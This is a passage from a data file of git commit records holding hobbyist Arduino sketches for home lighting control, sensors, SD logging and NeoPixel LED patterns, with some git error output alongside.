\"\";\n\tchar temp[100];\n\tout += \"<svg xmlns=\\\"http:\/\/www.w3.org\/2000\/svg\\\" version=\\\"1.1\\\" width=\\\"400\\\" height=\\\"150\\\">\\n\";\n \tout += \"<rect width=\\\"400\\\" height=\\\"150\\\" fill=\\\"rgb(250, 230, 210)\\\" stroke-width=\\\"1\\\" stroke=\\\"rgb(0, 0, 0)\\\" \/>\\n\";\n \tout += \"<g stroke=\\\"black\\\">\\n\";\n \tint y = rand() % 130;\n \tfor (int x = 10; x < 390; x+= 10) {\n \t\tint y2 = rand() % 130;\n \t\tsprintf(temp, \"<line x1=\\\"%d\\\" y1=\\\"%d\\\" x2=\\\"%d\\\" y2=\\\"%d\\\" stroke-width=\\\"1\\\" \/>\\n\", x, 140 - y, x + 10, 140 - y2);\n \t\tout += temp;\n \t\ty = y2;\n \t}\n\tout += \"<\/g>\\n<\/svg>\\n\";\n\n\tserver.send ( 200, \"image\/svg+xml\", out);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/esp8266com\/esp8266\/libraries\/ESP8266WebServer\/examples\/AdvancedWebServer\/AdvancedWebServer.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"5244a86129df0a4862f014044862ddbedb7ee0c3","subject":"Smarcheck update","message":"Smarcheck update\n","repos":"barthopster\/Arduinomation,barthopster\/Arduinomation,barthopster\/Arduinomation,barthopster\/Arduinomation","old_file":"Arduino\/KAKUSender\/KAKUSender.ino","new_file":"Arduino\/KAKUSender\/KAKUSender.ino","new_contents":"#include <NewRemoteTransmitter.h>\n#include <NewRemoteReceiver.h>\n#include \"SocketIOClient.h\"\n#include \"Ethernet.h\"\n#include \"SPI.h\"\n#include <Time.h>\n#include <string.h>\n\n\/\/ Used for the KAKU remote functionality\nconst long transmitterAddress = 12877286;\nconst int transmitterPin = 7;\nconst int transmitterPeriod = 254;\n\n\/\/ Used for smart lights\nconst byte ldrPin = A0;\nconst short numValues = 3;\nconst short timeFrameBefore = 30;\nconst short timeFrameAfter = 90;\nconst unsigned long interval = 1000;\n\n\/\/ Smart learning variables\nshort lightThresholds[numValues];\nshort lightThreshold = 200;\n\nshort minutes[numValues];\nshort minutesThreshold = 18 * 60;\n\nbyte timeArrayPosition = 0;\nunsigned long lastCheck;\n\n\/\/ KAKU transmitter\nNewRemoteTransmitter transmitter(transmitterAddress, transmitterPin, transmitterPeriod);\n\n\/\/ Ethernet details\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\nchar hostname[] = \"ardnmtn.barthopster.nl\";\nint port = 8181;\n\nSocketIOClient client;\n\nvoid setup() {\n Serial.begin(57600);\n\n \/\/ Init the Ethernet shield\n Ethernet.begin(mac);\n\n \/\/ Connect!\n if (!client.connect(hostname, port))\n Serial.println(\"Not connected.\");\n\n \/\/ Catch any received data\n client.setDataArrivedDelegate(onData);\n\n \/\/ Second handshake\n client.send(\"Say welcome\");\n\n \/\/ Init the receiver\n NewRemoteReceiver::init(0, 2, catchReceivedCode);\n}\n\nvoid loop() {\n smartCheck();\n client.monitor();\n}\n\n\/\/ Websocket message handler\nvoid onData(SocketIOClient client, char *data) {\n if (strstr(data, \"Time:\")) {\n timeUpdate(data + 5);\n } else {\n int lightNumber;\n\n \/\/ Light 1\n if (strstr(data, \"1\")) {\n lightNumber = 0;\n }\n\n \/\/ Light 2\n if (strstr(data, \"2\")) {\n lightNumber = 1;\n }\n\n \/\/ Light 3\n if (strstr(data, \"3\")) {\n lightNumber = 2;\n }\n\n \/\/ Light 4\n if (strstr(data, \"4\")) {\n lightNumber = 3;\n }\n\n \/\/ First disable the receiver\n NewRemoteReceiver::disable();\n\n \/\/ Turn on the light\n if (strstr(data, \"on\")) {\n transmitter.sendUnit(lightNumber, true);\n updateSmartValues((hours()*60) + minutes(),analogRead(ldrPin));\n } else { \/\/ Turn off\n transmitter.sendUnit(lightNumber, false);\n }\n\n \/\/ Enable the receiver again\n NewRemoteReceiver::enable();\n }\n}\n\n\/\/ Callback function is called only when a valid code is received.\nvoid catchReceivedCode(NewRemoteCode receivedCode) {\n\n \/\/ Disable the receiver\n NewRemoteReceiver::disable();\n\n \/\/ Take action only if the transmitter address is correct\n if (receivedCode.address == transmitterAddress) {\n char lightCommand[16];\n sprintf(lightCommand, \"light%01u:%s\", receivedCode.unit, receivedCode.switchType == NewRemoteCode::off ? \"false\" : \"true\");\n\n client.send(lightCommand);\n \n updateSmartValues((hours()*60) + minutes(),analogRead(ldrPin));\n }\n\n \/\/ Enable the receiver again\n NewRemoteReceiver::enable();\n}\n\n\/\/ Check for turing on the light using the smart function\nvoid smartCheck() {\n unsigned long curTime = millis();\n if (curTime > (lastCheck + interval) || lastCheck < curTime) {\n lastCheck = curTime\n \/\/Serial.println(\"Check\");\n short currentLightValue = analogRead(ldrPin);\n if (currentLightValue <= lightThreshold) {\n Serial.println(\"Dark\");\n\n short curTimeMinutes = hour() * 60 + minute();\n if (curTimeMinutes > (minutesThreshold - timeFrameBefore) && curTimeMinutes < (minutesThreshold + timeFrameAfter)) {\n Serial.println(\"Lights on\");\n NewRemoteReceiver::disable();\n for (int i = 0; i < 4; i++) {\n transmitter.sendUnit(i, true);\n char lightCommand[16];\n sprintf(lightCommand, \"light%01u:%s\", i, \"true\");\n client.send(lightCommand);\n }\n NewRemoteReceiver::enable();\n }\n }\n }\n}\n\nvoid updateSmartValues(short timeMinutes, short LDRLight) {\n \/\/ Add the new values\n if (timeArrayPosition >= numValues)\n timeArrayPosition = 0;\n\n minutes[timeArrayPosition] = timeMinutes;\n lightThresholds[timeArrayPosition] = LDRLight;\n\n timeArrayPosition++;\n\n \/\/ Calculate new on\/off moments\n for (int i = 0; i < numValues; i++) {\n minutesThreshold += minutes[i];\n lightThreshold += lightThresholds[i];\n }\n minutesThreshold \/= numValues;\n lightThreshold \/= numValues;\n}\n\n\/\/ Sets the current date to the data in the string\n\/\/ The used format is \"hours,minutes,seconds,day,month,year\"\nvoid timeUpdate(char *timeString) {\n Serial.print(\"Update time to: \");\n Serial.println(timeString);\n\n char *p = timeString;\n char *str;\n byte second, minute, hour, day, month;\n short year;\n if ((str = strtok_r(p, \",\", &p)) != NULL)\n hour = atoi(str);\n if ((str = strtok_r(p, \",\", &p)) != NULL)\n minute = atoi(str);\n if ((str = strtok_r(p, \",\", &p)) != NULL)\n second = atoi(str);\n if ((str = strtok_r(p, \",\", &p)) != NULL)\n day = atoi(str);\n if ((str = strtok_r(p, \",\", &p)) != NULL)\n month = atoi(str);\n if ((str = strtok_r(p, \",\", &p)) != NULL)\n year = atoi(str);\n\n setTime(hour, minute, second, day, month, year);\n}\n","old_contents":"#include <NewRemoteTransmitter.h>\n#include <NewRemoteReceiver.h>\n#include \"SocketIOClient.h\"\n#include \"Ethernet.h\"\n#include \"SPI.h\"\n#include <Time.h>\n#include <string.h>\n\n\/\/ Used for the KAKU remote functionality\nconst long transmitterAddress = 12877286;\nconst int transmitterPin = 7;\nconst int transmitterPeriod = 254;\n\n\/\/ Used for smart lights\nconst byte ldrPin = A0;\nconst short numValues = 3;\nconst short timeFrameBefore = 30;\nconst short timeFrameAfter = 90;\n\n\/\/ Smart learning variables\nshort lightThresholds[numValues];\nshort lightThreshold = 200;\n\nshort minutes[numValues];\nshort minutesThreshold;\n\nbyte timeArrayPosition = 0;\n\n\/\/ KAKU transmitter\nNewRemoteTransmitter transmitter(transmitterAddress, transmitterPin, transmitterPeriod);\n\n\/\/ Ethernet details\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\nchar hostname[] = \"ardnmtn.barthopster.nl\";\nint port = 8181;\n\nSocketIOClient client;\n\nvoid setup() {\n Serial.begin(57600);\n\n \/\/ Init the Ethernet shield\n Ethernet.begin(mac);\n\n \/\/ Connect!\n if (!client.connect(hostname, port))\n Serial.println(\"Not connected.\");\n\n \/\/ Catch any received data\n client.setDataArrivedDelegate(onData);\n\n \/\/ Second handshake\n client.send(\"Say welcome\");\n \n \/\/ Init the receiver\n NewRemoteReceiver::init(0, 2, catchReceivedCode);\n}\n\nvoid loop() {\n \/\/smartCheck();\n client.monitor();\n}\n\n\/\/ Websocket message handler\nvoid onData(SocketIOClient client, char *data) {\n int lightNumber;\n\n \/\/ Light 1\n if (strstr(data, \"1\")) {\n lightNumber = 0;\n }\n\n \/\/ Light 2\n if (strstr(data, \"2\")) {\n lightNumber = 1;\n }\n\n \/\/ Light 3\n if (strstr(data, \"3\")) {\n lightNumber = 2;\n }\n\n \/\/ Light 4\n if (strstr(data, \"4\")) {\n lightNumber = 3;\n }\n\n \/\/ First disable the receiver\n NewRemoteReceiver::disable();\n \n \/\/ Turn on the light\n if (strstr(data, \"on\")) {\n transmitter.sendUnit(lightNumber, true);\n } else { \/\/ Turn off\n transmitter.sendUnit(lightNumber, false);\n }\n \n \/\/ Enable the receiver again\n NewRemoteReceiver::enable();\n}\n\n\/\/ Callback function is called only when a valid code is received.\nvoid catchReceivedCode(NewRemoteCode receivedCode) {\n \n \/\/ Disable the receiver\n NewRemoteReceiver::disable();\n \n \/\/ Take action only if the transmitter address is correct\n if (receivedCode.address == transmitterAddress) {\n char lightCommand[16];\n sprintf(lightCommand, \"light%01u:%s\", receivedCode.unit, receivedCode.switchType == NewRemoteCode::off ? \"false\" : \"true\");\n \n client.send(lightCommand);\n }\n \n \/\/ Enable the receiver again\n NewRemoteReceiver::enable();\n}\n\n\/\/ Check for turing on the light using the smart function\nvoid smartCheck() {\n \/\/Serial.println(\"Check\");\n short currentLightValue = analogRead(ldrPin);\n if (currentLightValue <= lightThreshold) {\n Serial.println(\"On\");\n transmitter.sendUnit(0, true);\n transmitter.sendUnit(1, true);\n transmitter.sendUnit(2, true);\n transmitter.sendUnit(3, true);\n }\n}\n\nvoid updateSmartValues() {\n short onTimeMinutes;\n for (int i = 0; i < numValues; i++) {\n onTimeMinutes += minutes[i];\n lightThreshold += lightThresholds[i];\n }\n onTimeMinutes \/= numValues;\n lightThreshold \/= numValues;\n}\n\n\/\/ Sets the current date to the data in the string\n\/\/ The used format is \"hours,minutes,seconds,day,month,year\"\nvoid timeUpdate(char *timeString) {\n char *p = timeString;\n char *str;\n byte second, minute, hour, day, month;\n short year;\n if ((str = strtok_r(p, \",\", &p)) != NULL)\n hour = atoi(str);\n if ((str = strtok_r(p, \",\", &p)) != NULL)\n minute = atoi(str);\n if ((str = strtok_r(p, \",\", &p)) != NULL)\n second = atoi(str);\n if ((str = strtok_r(p, \",\", &p)) != NULL)\n day = atoi(str);\n if ((str = strtok_r(p, \",\", &p)) != NULL)\n month = atoi(str);\n if ((str = strtok_r(p, \",\", &p)) != NULL)\n year = atoi(str);\n\n setTime(hour, minute, second, day, month, year);\n}\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"a9e787693034e5b3a647ba2a24bab9d8ca5d24b9","subject":"Add original code for writing to SD card.","message":"Add original code for writing to SD card.\n","repos":"karikawa\/2014-2015,karikawa\/2014-2015,UCLARocketProject\/2014-2015,UCLARocketProject\/2014-2015,UCLARocketProject\/2014-2015,karikawa\/2014-2015,UCLARocketProject\/2014-2015,karikawa\/2014-2015,UCLARocketProject\/2014-2015,karikawa\/2014-2015","old_file":"Calibration\/sdWrite\/sdWrite.ino","new_file":"Calibration\/sdWrite\/sdWrite.ino","new_contents":"#include <SD.h>\n#include <SPI.h>\n\nvoid setup() {\n \n \/\/this is needed for the duemilanove and uno without ethernet shield\n const int sdCardPin = 10;\n int loopCount = 0;\n\n \/\/for testing. delete before launches.\n Serial.begin(9600);\n delay(1000);\n pinMode(10,OUTPUT);\n \n if (!SD.begin(sdCardPin)) {\n Serial.println(\"Card failed, or not present\");\n \/\/ don't do anything more:\n return; \n }\n Serial.println(\"card initialized.\");\n}\n\nvoid loop() {\n sdWrite(\"none\");\n}\n\n\/*\nFilename MUST be <=8 characters (not including the file extension) or the\nfile will not be created\n*\/\nbool sdWrite(String data) {\n File dataFile = SD.open(\"alex.txt\", FILE_WRITE);\n \/\/ if the file is available, write to it:\n if (dataFile) {\n dataFile.println(data);\n dataFile.close();\n \/\/ print to the serial port too:\n Serial.println(data);\n }\n \/\/ if the file isn't open, pop up an error:\n else {\n Serial.println(\"error opening file\");\n dataFile.close();\n }\n}\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Calibration\/sdWrite\/sdWrite.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"613cf05ba5bc03f005d5716ad93f0e520a4e811d","subject":"added table","message":"added table\n","repos":"janiversen\/SolarPower","old_file":"SolarControl.ino","new_file":"SolarControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/janiversen\/SolarPower.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e76c21adb098f84522ee364ea02fe699c444aaab","subject":"Replaced I2C master lib with Adafruit MLX90614 lib","message":"Replaced I2C master lib with Adafruit MLX90614 lib\n","repos":"davisto\/Arduino,davisto\/Arduino,davisto\/Arduino","old_file":"projects\/TireTempPro\/TireTempPro.ino","new_file":"projects\/TireTempPro\/TireTempPro.ino","new_contents":"#include <SPI.h>\n#include <Wire.h>\n#include <Adafruit_GFX.h>\n#include <Adafruit_SSD1306.h>\n#include <Adafruit_MLX90614.h>\n#include \"SplashScreen.h\"\n\n\/\/ display\n#define OLED_RESET 4\nAdafruit_SSD1306 display(OLED_RESET);\n\n\/\/ temp sensors\nAdafruit_MLX90614 mlx_l = Adafruit_MLX90614(0x1B); \/\/ left\nAdafruit_MLX90614 mlx_c = Adafruit_MLX90614(0x1C); \/\/ center\nAdafruit_MLX90614 mlx_r = Adafruit_MLX90614(0x1D); \/\/ right\n\n\/\/ draws splash screen on startup for two seconds\nvoid drawSplashScreen() {\n display.clearDisplay(); \n display.setTextColor(WHITE);\n display.setTextSize(1);\n display.setCursor(10, 0);\n display.println(\"TireTemp PRO\");\n display.display();\n delay(100);\n display.drawBitmap(40, 5, splashScreen, 90, 30, WHITE);\n display.display();\n delay(2000);\n}\n\n\/\/ draws header text during runtime\nvoid drawHeader() {\n display.setTextSize(1);\n display.setCursor(1,0);\n display.println(\"LEFT CENTER RIGHT\");\n}\n\n\/\/ truncates double values\nchar* doubleToString(double value, int stringSize, int precision) {\n char charVal[10];\n dtostrf(value, stringSize, precision, charVal);\n return charVal;\n}\n\n\/\/ draws temperature values on OLED display\nvoid drawTemp() {\n display.setTextSize(2);\n display.setCursor(1,12);\n\n char* tempLeft = doubleToString(mlx_l.readObjectTempC(), 2, 0);\n char* tempCenter = doubleToString(mlx_c.readObjectTempC(), 2, 0);\n char* tempRight = doubleToString(mlx_r.readObjectTempC(), 2, 0);\n\n display.print(tempLeft);\n display.print(\" \");\n display.print(tempCenter);\n display.print(\" \");\n display.println(tempRight);\n}\n\nvoid setup() { \n Serial.begin(9600);\n\n Serial.println(\"Begin mlx setup\");\n mlx_l.begin(); \n mlx_c.begin(); \n mlx_r.begin(); \n\n Serial.println(\"Begin display setup\");\n display.begin(SSD1306_SWITCHCAPVCC, 0x3C);\n\n Serial.println(\"Draw splash screen\");\n drawSplashScreen();\n \n Serial.println(\"Setup done!\");\n}\n\nvoid loop() {\n display.clearDisplay();\n drawHeader(); \n drawTemp();\n display.display();\n delay(1000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'projects\/TireTempPro\/TireTempPro.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"28af1424247ee905984a9dd9941d141714649a5a","subject":"Added again","message":"Added again\n","repos":"nedwed123\/MafiaCarControl,nedwed123\/MafiaCarControl,nedwed123\/MafiaCarControl","old_file":"Bump_sensor.ino","new_file":"Bump_sensor.ino","new_contents":"\/*\n Button Test Sketch (LED optional)\n Turns on and off a light emitting diode(LED) connected to digital \n pin 13, when pressing a pushbutton attached to pin 7. \n The circuit:\n * LED attached from pin 13 to ground \n * momentary switch attached to pin 2 from +5V\n * 10K resistor attached as pull-down resistor\n *\/\n\/\/constants\nconst int buttonPin = 2; \/\/ <======= the number of the pushbutton pin\nconst int ledPin = 13; \/\/ <======= the number of the LED pin\nint count= 0;\n\/\/ variables will change:\nint buttonState = 0; \/\/ variable for reading the pushbutton status\n\nvoid setup() \n{\n pinMode(ledPin, OUTPUT); \/\/ initialize the LED pin as an output:\n pinMode(buttonPin, INPUT); \/\/ initialize the pushbutton pin as an input:\n Serial.begin(9600); \n}\n\nvoid loop()\n{\n buttonState = digitalRead(buttonPin); \/\/ read the state of the pushbutton value:\n \/\/Serial.println(buttonState);\n\n if (buttonState == HIGH) \/\/ check if the pushbutton is pressed.\n { \n digitalWrite(ledPin, HIGH); \/\/ turn LED on: (send +5V to pin)\n \/\/ Serial.println(\" Button is ON \"); \/\/ print to serial monitor\n count++;\n Serial.println(count);\n } \n else \n {\n digitalWrite(ledPin, LOW); \/\/ turn LED off: (send 0V to pin)\n \/\/ Serial.println(\" Button is OFF \"); \/\/ print text to serial monitor\n }\n delay(200); \/\/ delay so that print to serial monitor is not too fast\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Bump_sensor.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"5919dfd7089af65ff1732a76213736ce8b01ff84","subject":"Example to demonstrate SoftWire with MLX90614 sensor.","message":"Example to demonstrate SoftWire with MLX90614 sensor.\n","repos":"stevemarple\/SoftWire","old_file":"examples\/MLX90614_demo\/MLX90614_demo.ino","new_file":"examples\/MLX90614_demo\/MLX90614_demo.ino","new_contents":"#include <AsyncDelay.h>\n#include <SoftWire.h>\n\n\/* MLX90614_demo\n *\n * Code to illustrate how to communicate with an SMBus device such as\n * the MLX90614 non-contact infrared thermometer.\n *\n * Connections:\n *\n * For Calunium it is assumed the JTAG pins are used, SDA pin = 16\n * (JTAG TDI) and SCL pin = 19 (JTAG TCK) and that the device is\n * powered from pin 18 (JTAG TMS).\n * For all other boards it is assumed that the MLX90614 is permanently\n * powered and that SDA = A4 and SCL = A5.\n *\n *\/\n\n\n#ifdef CALUNIUM\n#include <DisableJTAG.h>\n\nuint8_t sdaPin = 16; \/\/ JTAG TDI\nuint8_t sclPin = 19; \/\/ JTAG TCK\nuint8_t powerPin = 18;\n#else\nuint8_t sdaPin = A4;\nuint8_t sclPin = A5;\n#endif\n\nconst uint8_t cmdAmbient = 6;\nconst uint8_t cmdObject1 = 7;\nconst uint8_t cmdObject2 = 8;\nconst uint8_t cmdFlags = 0xf0;\nconst uint8_t cmdSleep = 0xff;\n\n\nSoftWire i2c(sdaPin, sclPin);\n\nAsyncDelay samplingInterval;\n\n\nfloat convertToDegC(uint16_t data)\n{\n Serial.print(\" data = \");\n Serial.println(data, HEX);\n \/\/ Remove MSB (error bit, ignored for temperatures)\n return (((data & (uint16_t)0x7FFF)) \/ 50) - 273.15;\n}\n\n\n\n\nuint16_t readMLX90614(uint8_t command)\n{\n uint8_t address = 0x5A;\n uint8_t dataLow = 0;\n uint8_t dataHigh = 0;\n uint8_t pec = 0;\n \n digitalWrite(LED_BUILTIN, HIGH); delayMicroseconds(50);\n i2c.startWait(address, SoftWire::writeMode);\n i2c.rawWrite(command);\n \n \/\/ read\n i2c.repeatedStart(address, SoftWire::readMode);\n i2c.readThenAck(dataLow); \/\/ Read 1 byte and then send ack\n i2c.readThenAck(dataHigh); \/\/ Read 1 byte and then send ack\n i2c.readThenNack(pec);\n i2c.stop();\n digitalWrite(LED_BUILTIN, LOW);\n\n return (uint16_t(dataHigh) << 8) | dataLow;\n}\n\n \n\n\nvoid setup(void)\n{\n Serial.begin(9600);\n Serial.println(\"MLX90614_demo\");\n\n pinMode(LED_BUILTIN, OUTPUT);\n \n#ifdef CALUNIUM\n disableJTAG();\n pinMode(powerPin, OUTPUT);\n digitalWrite(powerPin, HIGH);\n Serial.println(\"Powering MLX90614\");\n delay(1000);\n \n#endif\n\n \/*\n * Uncomment if needed. Not a good idea if power switched on\/off\n * since the sensor will be parastically powered from the SDA and\n * SCL control lines.\n *\/\n \/\/ i2c.enablePullups();\n\n i2c.setDelay_us(5);\n i2c.begin();\n}\n\n\nvoid loop(void)\n{\n#ifdef CALUNIUM\n digitalWrite(powerPin, HIGH);\n delay(1000);\n#endif\n \n Serial.print(\"Ambient: \");\n Serial.println(convertToDegC(readMLX90614(cmdAmbient)));\n Serial.print(\"Object 1: \");\n Serial.println(convertToDegC(readMLX90614(cmdObject1)));\n \/\/ Uncomment lines below for dual FoV sensors\n \/\/ Serial.print(\"Object 2: \");\n \/\/ Serial.println(convertToDegC(readMLX90614(cmdObject2)));\n#ifdef CALUNIUM\n digitalWrite(powerPin, LOW);\n#endif\n delay(2000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/MLX90614_demo\/MLX90614_demo.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"8bb1e7fd50ffdbde4383b426ec2848c372f128a1","subject":"Update atsd_tcp_example.ino","message":"Update atsd_tcp_example.ino","repos":"axibase\/arduino,axibase\/arduino,axibase\/arduino","old_file":"dataTransmission\/atsd_tcp_example\/atsd_tcp_example.ino","new_file":"dataTransmission\/atsd_tcp_example\/atsd_tcp_example.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/axibase\/arduino.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"864e8155fa464b6487ce695f352b90f27357a4d3","subject":"Added fancy lighting","message":"Added fancy lighting\n","repos":"TexasTorque\/TexasTorque2015","old_file":"arduino\/lights.ino","new_file":"arduino\/lights.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n#include \"SPI.h\"\n#include<Wire.h>\n\n#define numberOfLeds 54\n#define dataPin 2\n\nbyte lightState;\nboolean newState;\nint timeCounter = 0;\nint delayTime;\nint moveBy;\nint counterRaindow = 0;\nbyte patternLength;\n\nAdafruit_NeoPixel stripOne = Adafruit_NeoPixel(numberOfLeds, dataPin, NEO_GRB + NEO_KHZ800);\n\nvoid setup(){\n\n\n stripOne.begin();\n\n\n Serial.begin(9600);\n\n\n stripOne.show();\n\n Wire.begin(84);\/\/register address\n Wire.onReceive(receiveEvent);\n Serial.println(\"register\");\n delayTime = 5;\n moveBy = 1;\n patternLength = (stripOne.numPixels()-1)\/4;\n lightState = 0;\n newState = true;\n\n\n}\n\nvoid loop(){\n if (newState) {\n switch (lightState) {\n\n case 0:\n whiteState(stripOne);\n break;\n \/\/all white\n case 1:\n blueState(stripOne);\n break;\n \/\/blue\n case 2:\n yellowState(stripOne);\n break;\n \/\/Yellow\n case 3:\n greenState(stripOne);\n break;\n \/\/Green\n case 4:\n redState(stripOne);\n break;\n \/\/Red\n case 5: \n annoyingRaindow(stripOne);\n break;\n \/\/AR\n case 6:\n simpleRaindow(stripOne);\n break;\n case 7:\n blueStateWithGreen(stripOne);\n break;\n case 8:\n redStateWithGreen(stripOne);\n break;\n case 9:\n redStateWithGreenInverted(stripOne);\n moveBy = -1;\n break;\n case 10:\n blueStateWithGreenInverted(stripOne);\n moveBy = -1;\n break;\n case 11:\n redStateInverted(stripOne);\n moveBy = -1;\n break;\n case 12:\n blueStateInverted(stripOne);\n moveBy = -1;\n break;\n case 13:\n simpleRaindowFade(stripOne);\n \n break;\n default: \n whiteState(stripOne); \n break;\n }\n\n\n newState = false;\n }\n\n if (moveBy >= 0){\n shift(moveBy, patternLength, stripOne);\n }\n else\n {\n shiftInverted(moveBy, patternLength, stripOne);\n }\n stripOne.show();\n\n delay(delayTime);\n}\n\nvoid receiveEvent(int value) {\n while (Wire.available()) {\n lightState = Wire.read(); \n newState = true;\n }\n Serial.println(\"receive\");\n}\n\nvoid whiteState(Adafruit_NeoPixel &strip)\n{\n\n for (int k = 0; k < strip.numPixels(); k++)\n {\n strip.setPixelColor(k, 255, 255, 255);\n }\n\n}\n\nvoid redState(Adafruit_NeoPixel &strip)\n{\n int redShade = 0;\n int greenShade = 0;\n int blueShade = 0;\n delayTime = 10;\n patternLength = (strip.numPixels()-1)\/2;\n int buffer = ((255 \/ strip.numPixels())\/2);\n int x = 0;\n while ((redShade < 255) && ((redShade + buffer) <= 255)){\n strip.setPixelColor(x, redShade, greenShade, blueShade);\n redShade += buffer;\n x++;\n }\n while ((redShade > 50) && ((redShade - buffer) >= 50)){\n strip.setPixelColor(x, redShade, greenShade, blueShade);\n redShade -= buffer;\n x++;\n }\n}\n\nvoid yellowState(Adafruit_NeoPixel &strip)\n{\n delayTime = 10;\n int redShade = 0;\n int greenShade = 0;\n int blueShade = 0;\n patternLength = (strip.numPixels()-1)\/2;\n int buffer = ((255 \/ strip.numPixels())\/2);\n int x = 0;\n while ((greenShade < 255) && ((greenShade + buffer) <= 255)){\n strip.setPixelColor(x, redShade, greenShade, blueShade);\n redShade += buffer;\n greenShade += buffer;\n x++;\n }\n while ((greenShade > 50) && ((greenShade - buffer) >= 50)){\n strip.setPixelColor(x, redShade, greenShade, blueShade);\n redShade -= buffer;\n greenShade -= buffer;\n x++;\n }\n}\n\nvoid redStateInverted(Adafruit_NeoPixel &strip)\n{\n int redShade = 0;\n int greenShade = 0;\n int blueShade = 0;\n delayTime = 10;\n patternLength = (strip.numPixels()-1)\/2;\n int buffer = ((255 \/ strip.numPixels())\/2);\n int x = 1;\n while ((redShade < 255) && ((redShade + buffer) <= 255)){\n strip.setPixelColor(strip.numPixels() - x, redShade, greenShade, blueShade);\n redShade += buffer;\n x++;\n }\n while ((redShade > 50) && ((redShade - buffer) >= 50)){\n strip.setPixelColor(strip.numPixels() - x, redShade, greenShade, blueShade);\n redShade -= buffer;\n x++;\n }\n}\n\nvoid greenState(Adafruit_NeoPixel &strip)\n{\n\n for (int k = 0; k < strip.numPixels(); k++)\n {\n strip.setPixelColor(k, 0, 255, 0);\n } \n}\n\nvoid blueState(Adafruit_NeoPixel &strip)\n{\n int redShade = 0;\n int greenShade = 0;\n int blueShade = 0;\n patternLength = (strip.numPixels()-1)\/2;\n delayTime = 10;\n int buffer = ((255 \/ strip.numPixels())\/2);\n int x = 0;\n while ((blueShade < 255) && ((blueShade + buffer) <= 255)){\n strip.setPixelColor(x, redShade, greenShade, blueShade);\n blueShade += buffer;\n x++;\n }\n while ((blueShade > 50) && ((blueShade - buffer) >= 50)){\n strip.setPixelColor(x, redShade, greenShade, blueShade);\n blueShade -= buffer;\n x++;\n }\n}\n\nvoid blueStateInverted(Adafruit_NeoPixel &strip)\n{\n int redShade = 0;\n int greenShade = 0;\n int blueShade = 0;\n delayTime = 10;\n patternLength = (strip.numPixels()-1)\/2;\n int buffer = ((255 \/ strip.numPixels())\/2);\n int x = 1;\n while ((blueShade < 255) && ((blueShade + buffer) <= 255)){\n strip.setPixelColor(strip.numPixels() - x, redShade, greenShade, blueShade);\n blueShade += buffer;\n x++;\n }\n while ((blueShade > 50) && ((blueShade - buffer) >= 50)){\n strip.setPixelColor(strip.numPixels() - x, redShade, greenShade, blueShade);\n blueShade -= buffer;\n x++;\n }\n}\n\nvoid blueStateWithGreen(Adafruit_NeoPixel &strip)\n{\n timeCounter++;\n int cF = 2;\n int redShade = 0;\n int greenShade = 0;\n int blueShade = 0;\n patternLength = (strip.numPixels()-1)\/cF;\n delayTime = 20;\n int buffer = ((255 \/ strip.numPixels()-1)*5*cF);\n int x = 0;\n int k = 0;\n\n while ((blueShade < 255) && ((blueShade + buffer) <= 255)){\n strip.setPixelColor(x, redShade, greenShade, blueShade);\n blueShade += buffer;\n x++;\n }\n while ((blueShade > 50) && ((blueShade - buffer) >= 50)){\n strip.setPixelColor(x, redShade, greenShade, blueShade);\n blueShade -= buffer;\n x++;\n }\n redShade = 0;\n greenShade = 0;\n blueShade = 0;\n\n while ((greenShade < 255) && ((greenShade + buffer) <= 255)){\n strip.setPixelColor(k + (x-1), redShade, greenShade, blueShade);\n greenShade += buffer;\n k++;\n }\n while ((greenShade > 50) && ((greenShade - buffer) >= 50)){\n strip.setPixelColor(k + (x-1), redShade, greenShade, blueShade);\n greenShade -= buffer;\n k++;\n }\n\n\n}\n\nvoid redStateWithGreen(Adafruit_NeoPixel &strip)\n{\n timeCounter++;\n int cF = 2;\n int redShade = 0;\n int greenShade = 0;\n int blueShade = 0;\n patternLength = (strip.numPixels()-1)\/cF;\n delayTime = 20;\n int buffer = ((255 \/ strip.numPixels()-1)*5*cF);\n int x = 0;\n int k = 0;\n\n while ((redShade < 255) && ((redShade + buffer) <= 255)){\n strip.setPixelColor(x, redShade, greenShade, blueShade);\n redShade += buffer;\n x++;\n }\n while ((redShade > 50) && ((redShade - buffer) >= 50)){\n strip.setPixelColor(x, redShade, greenShade, blueShade);\n redShade -= buffer;\n x++;\n }\n redShade = 0;\n greenShade = 0;\n blueShade = 0;\n\n while ((greenShade < 255) && ((greenShade + buffer) <= 255)){\n strip.setPixelColor(k + (x-1), redShade, greenShade, blueShade);\n greenShade += buffer;\n k++;\n }\n while ((greenShade > 50) && ((greenShade - buffer) >= 50)){\n strip.setPixelColor(k + (x-1), redShade, greenShade, blueShade);\n greenShade -= buffer;\n k++;\n }\n\n\n}\n\nvoid redStateWithGreenInverted(Adafruit_NeoPixel &strip)\n{\n\n timeCounter++;\n int cF = 2;\n int redShade = 0;\n int greenShade 